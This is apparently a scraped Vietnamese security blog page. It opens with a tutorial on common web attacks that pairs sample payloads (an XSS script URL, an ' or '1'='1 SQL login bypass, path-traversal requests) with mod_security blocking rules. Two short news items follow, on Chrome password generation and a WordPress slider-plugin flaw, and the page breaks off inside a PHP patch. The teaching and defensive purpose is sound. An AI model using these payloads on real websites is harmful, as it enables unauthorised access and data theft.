<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Sử dụng XSS chèn mã java script trực tiếp trên URL</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
http://www.demo.com/search.cgi?query=<script>alert(‘XSS was found !’);</script></address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi wesite http://www.demo.combị lỗi XSS trình duyệt sẽ hiện lên một thông báo “XSS was found !”.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Chỉ cho phép những dữ liệu hợp lệ, từ chối nhận các dữ liệu sai, thường xuyên kiểm tra và lọc dữ liệu đầu vào.</li>
<li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công XSS.</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*meta*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*style*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*script*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*iframe*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*object*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*img*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*applet*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*form*\”?[^>]*>”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">SQL injection</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tấn công SQL Injection được thực thi bằng cách chèn các câu truy vấn SQL vào dữ liệu tương tác giữa máy khách và trình ứng dụng. Quá trình khai thác lỗi SQL Injection thành công có thể giúp tin tặc lấy được các dữ liệu nhạy cảm trong cở sở dữ liệu, thay đổi cơ sở dữ liệu (Insert/Update/Delete), thực thi các hành động với quyền của người quản trị và cao hơn có thể điều khiển được hệ điều hành máy chủ</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Xét đoạn mã truy vấn SQL sau:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đây là một câu truy vấn thường hay được dùng trong các trình ứng dụng nhằm xác thực người dùng. Nếu câu truy vấn trả về một giá trị nói rằng thông tin về người dùng đang đăng nhập là đúng và được lưu trong cơ sở dữ liệu, thì người dùng được phép đăng nhập vào hệ thống, ngược lại thì không đăng nhập được. Người dùng nhập thông tin đó vào các trường gọi là web form.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Thay vì nhập đúng tên đăng nhập và mật khẩu, thử nhập vào các ký tự đặc biệt như:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
$username = 1′ or ’1′ = ’1</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
$password = 1′ or ’1′ = ’1</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi đó câu truy vấn sẽ là:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SELECT * FROM Users WHERE Username=’1′ OR ’1′ = ’1′ AND Password=’1′ OR ’1′ = ’1′</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Giả sử rằng giá trị của các tham số được gửi tới máy chủ bằng phương thức GET, thì có một câu lệnh khai thác lỗi như sau:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
http://www.example.com/index.php?username=1′%20or%20’1′%20=%20’1&password=1′%20or%20’1′%20=%20’1</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi đó, truy vấn sẽ trả về một giá trị (hay một loạt các giá trị) vì điều kiện trên luôn luôn đúng (OR 1=1). Trong trường hợp này tin tặc sẽ đăng nhập được vào hệ thống mà không cần biết tên đăng nhập và mật khẩu. Trường hợp này sẽ rất nguy hiểm nếu dòng đầu tiên trong bảng “Users” là tài khoản của người quản trị (admin) vì tin tặc sẽ đăng nhập vào hệ thống bằng tài khoản đầu tiên trong bảng này.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Kiểm tra dữ liệu đầu vào.</li>
<li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công SQL injection.</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “delete[[:space:]]+from”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “insert[[:space:]]+into”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “select.+from”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_cmdshell</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regread</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regwrite</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regdeletekeySecFilter xp_enumdsn</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_filelist</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_availablemedia</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Liệt kê thư mục (Directory indexing)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đây là chức năng web server cho phép liệt kê tất cả nội dung bên trong một thư mục mà không có tập tin cơ sở (index.html/home.html/ default.html). Trong các thư mục đó có thể chứa nội dung quan trọng: tập tin cơ sở dữ liệu dự phòng, tập tin cấu hình, tập tin lưu trữ tạm thời, các kịch bản…</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Thiết lập quyền hợp lý trên các thư mục chứa nội dung web.</li>
<li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterScanOutput On</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective OUTPUT “\<title\>Index of /”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Path Traversal</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, …</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /../../../../../some/file HTTP/1.0</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /..%255c..%255c..%255csome/file HTTP/1.0</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /..%u2216..%u2216some/file HTTP/1.0</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective SCRIPT_FILENAME “/scripts/foo.cgi” chain</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective ARG_home “!^[a-zA-Z].{15,}\.txt”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Từ chối dịch vụ (DoS)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
DoS là kỹ thuật tấn công nhằm không cho phép các truy cập hợp lệ truy cập tới server. Kỹ thuật tấn công này thường xảy ra tại lớp mạngvà lớp ứng dụng.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Các hệ thống đích có thể bị tấn công DoS:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Người dùng riêng lẻ: quá trình đăng nhập lặp đi lặp lại với tài khoản hợp lệ nhưng mật khẩu không đúng. Sau nhiều lần đăng nhập sai, hệ thống sẽ khóa tài khoản hợp lệ này, dẫn đến người dùng hợp lệ sẽ không thể đăng nhập được.</li>
<li style="box-sizing: border-box;">Máy chủ cơ sở dữ liệu: Sử dụng kỹ thuật chèn câu lệnh truy vấn SQL chỉnh sửa cơ sở dữ liệu, vì thế hệ thống sẽ không thể phục vụ các truy cập từ client.</li>
<li style="box-sizing: border-box;">Máy chủ phục vụ web: Sử dụng kỹ thuật tấn công tràn bộ đệm ( Buffer Overflow) để gới các gói truy vấn và làm đổ vỡ các tiến trình tại phía máy chủ phục vụ web, dẫn đến hệ thống máy chủ webserver sẽ không có khả năng phục vụ các truy cập hợp lý.</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive</li>
<li style="box-sizing: border-box;">Thiết lập các thông tin hợp lý cho máy chủ phục vụ web: KeepAlives, KeepAliveTimeouts, MaxKeepAliveRequests…</li>
</ul>

Một số phương thức tấn công ứng dụng web

Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường x...

Google cập nhật chức năng tạo mật khẩu tích hợp sẵn trong Chrome Canary

<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />Chrome Canary được xem là như là một phiên bản đặc biệt của trình duyệt web Chrome, mà tại đây Google trang bị những tính năng mới nhất, bao gồm cả những tính năng đang trong giai đoạn thử nghiệm. Người dùng phiên bản này có thể được trải nghiệm những tính năng mới nhất mà chưa có trên bất kỳ phiên bản Chrome nào khác.<br /><br /><img src="http://securitydaily.net/wp-content/uploads/2014/09/canary_password.jpg" /><br /><br />Theo nhân viên của Google, hãng đã thay đổi cơ chế tạo mật khẩu để dễ dàng sử dụng hơn với một bảng preview (xem trước). “Ngay khi bạn chuẩn bị điền vào mục mật khẩu, một overlay sẽ hiện lên khuyến nghị một mật khẩu mạnh và thông báo chúng sẽ được lưu trữ trong Chrome” nhà phát triển François Beaufort cho biết.<br /><br />Chromium – dự án mã nguồn mở, nền tảng đẻ xây dựng Google Chrome đã có một máy tạo mật khẩu mạnh hơn 2 năm trước, mặc dù nó chỉ là cài đặt thử nghiệm và đã bị ẩn đi, nhưng với phiên bản mới cùng với giao diện người dùng mới đã được đưa từ Chromium đến phiên bản Canary. Canary cũng được cập nhật hàng ngày giống như concept Nightly của Firefox.<br /><br />Để kích hoạt chức năng tạo mật khẩu, người dùng phải sử dụng gõ chrome://flags  vào thanh địa chỉ, sau đó chọn “Enable” cho cả hai mục Enable-password-generation và Enable-save-password-bubble trong Canary.<br /><br />Ngoài Canary, trình duyệt web duy nhất được tích hợp máy tạo mật khẩu là Safari của Apple. Nhưng nó chỉ được sử dụng khi đi kèm với tính năng OS X’s iCloud Keychain. Tính năng nay được Apple tích hợp vào phiên bản Mavericks năm ngoái.<br /><br />Nếu không tích hợp các cơ chế tạo mật khẩu vào Chrome, trình duyệt này sẽ phải cạnh tranh với hàng hoạt trình quản lí mật khẩu của bên thứ ba như là 1Password của AgileBits; LastPass. Giá của những phần mềm này từ miễn phí (Lastpass) đến 50 đôla (1Password).<br /><br />Các chuyên gia bảo mật từ lâu luôn than phiền về việc đặt mật khẩu rằng người dùng luôn sử dụng lại mật khẩu giống nhau, thường xuyên chọn những mật khẩu rõ ràng và hiếm khi chúng đủ mạnh. Nhưng đã có một vài giải pháp khác là việc sử dụng các trình quản lí mật khẩu.<br /><br />Độ mạnh của mật khẩu và việc tái sử dụng chúng đã góp phần gây ra vụ việc hàng trăm ảnh nóng của những người nổi tiếng bị phát tán trên Internet gần đây. Nhiều người trong số các nạn nhân sở hữu Iphone và sự nghi ngờ đổ dồn lên việc đồng hộ hóa và dịch vụ lưu trữ iCloud của Apple. Giám đốc điều hành Apple Tim Cook phủ nhận rằng iCloud bị xâm nhập mà thay vào đó chỉ ra rằng những kẻ tấn công đánh cắp mật khẩu bằng cách trả lời câu hỏi bảo mật chính xác. Nếu có mật khẩu mạnh và duy nhất sẽ tạo ra sự khác biệt lớn.</span>

Google cập nhật chức năng tạo mật khẩu tích hợp sẵn trong Chrome Canary

Chrome Canary được xem là như là một phiên bản đặc biệt của trình duyệt web Chrome, mà tại đây Google trang bị những tính năng mới nhất, bao...

Lỗ hổng WordPress ảnh hưởng hơn 400.000 websites trên thế giới

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="box-sizing: border-box; margin: 0px; padding: 10px 0px 20px;" title="Lỗ hổng WordPress ảnh hưởng hơn 400.000 websites trên thế giới">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-size: small; font-weight: normal;"><br /><br />Như SecurityDaily đã đưa tin ngày 03/09/2014, lỗ hổng nguy hiểm trong WordPress đang ảnh hưởng tới nhiều website của Việt Nam và rất nhiều các website của các tổ chức quan trọng trên thế giới. SecurityDaily đã thực hiện điều tra và phát hiện hơn 400.000 websites trên thế giới tồn tại lỗ hổng nguy hiểm này.<br /><br />Kết quả quét và thống kê từ công cụ quét lỗ hổng tự động của SecurityDaily cho thấy, hiện có 400.000 websites trên thế giới đang tồn tại lỗ hổng nguy hiểm. Một số lượng lớn các websites quan trọng của Anh, Mỹ, Brasil… đang có nguy cơ bị tấn công chiếm quyền điều khiển dựa trên việc khai thác lỗ hổng trong WordPress.<br /><br /><a href="http://securitydaily.net/wp-content/uploads/2014/09/gov.uk_.png"><img src="http://securitydaily.net/wp-content/uploads/2014/09/gov.uk_-700x322.png" /></a><br />Kết quả kiểm tra một website của chính phủ Anh Quốc<br /><br />Lỗ hổng cho phép hacker có thể tải về toàn bộ mã nguồn websites, đọc tập tin cấu hình hệ thống và truy cập thẳng đến cơ sở dữ liệu của website, chiếm quyền điều khiển toàn bộ website.<br /></span><div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Một số website của chính phủ các nước đang tồn tại lỗ hổng đã bị tin tặc tấn công và thay đổi giao diện</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><img src="http://securitydaily.net/wp-content/uploads/2014/09/betania.pe_.gov_.br_-700x363.png" />Giao diện một website của chính phủ Brasil bị tin tặc thay đổi.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Rất nhiều trường đại học danh tiếng của Mỹ: Đại học Harvard, University of Florida, USG… cũng đang tồn tại lỗ hổng này:</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><img src="http://securitydaily.net/wp-content/uploads/2014/09/harvard-700x421.jpg" /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Hiện tại, SecurityDaily đã gửi cảnh báo tới các website chính phủ, các trường đại học lớn về việc tồn tại lỗ hổng nguy hiểm này.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Một lần nữa, SecurityDaily khuyến cáo quản trị các website đang sử dụng wordpress nên thực hiện ngay các phương án sau để đảm bảo an ninh và khắc phục lỗ hổng:</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Kiểm tra website với công cụ kiểm tra tự động: <a href="http://tools.mvs.vn/">tools.mvs.vn</a></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Cập nhật lên phiên bản mới nhất của WordPress.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Tạm dừng các plugin, theme sau (tồn tại lỗ hổng) nếu đang sử dụng, bao gồm:</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Revolution Slider Plugin</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">CuckooTap Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">IncredibleWP Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Ultimatum Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Ultimatum Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Ultimatum Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Avada Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Striking Theme & E-Commerce</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Striking Theme & E-Commerce</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Rà soát lại toàn bộ các thư mục và tập tin trên website tránh việc website đã bị hacker khai thác và cài đặt backdoors lên hệ thống để tiếp tục xâm nhập.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Các nhà phát triển website wordpress có thể vá trực tiếp lỗ hổng này bằng việc thêm add_action để kiểm tra kỹ biến GET["img"] trước khi xử lý, cụ thể như sau:</span></span></div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-weight: normal; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px; text-align: left;">
<pre style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><span class="kw2" style="box-sizing: border-box; font-weight: bold;">function</span> fixRevsliderExploit<span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="br0" style="box-sizing: border-box; color: #009900;">{</span>
        <span class="kw1" style="box-sizing: border-box; color: #b1b100;">if</span><span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="kw3" style="box-sizing: border-box; color: #990000;">substr_compare</span><span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="re0" style="box-sizing: border-box; color: #000088;">$_GET</span><span class="br0" style="box-sizing: border-box; color: #009900;">[</span><span class="st0" style="box-sizing: border-box; color: blue;">"img"</span><span class="br0" style="box-sizing: border-box; color: #009900;">]</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="st0" style="box-sizing: border-box; color: blue;">".php"</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="sy0" style="box-sizing: border-box; color: #339933;">-</span><span class="nu0" style="box-sizing: border-box; color: #cc66cc;">4</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="nu0" style="box-sizing: border-box; color: #cc66cc;">4</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span> <span class="sy0" style="box-sizing: border-box; color: #339933;">===</span> <span class="nu0" style="box-sizing: border-box; color: #cc66cc;">0</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="br0" 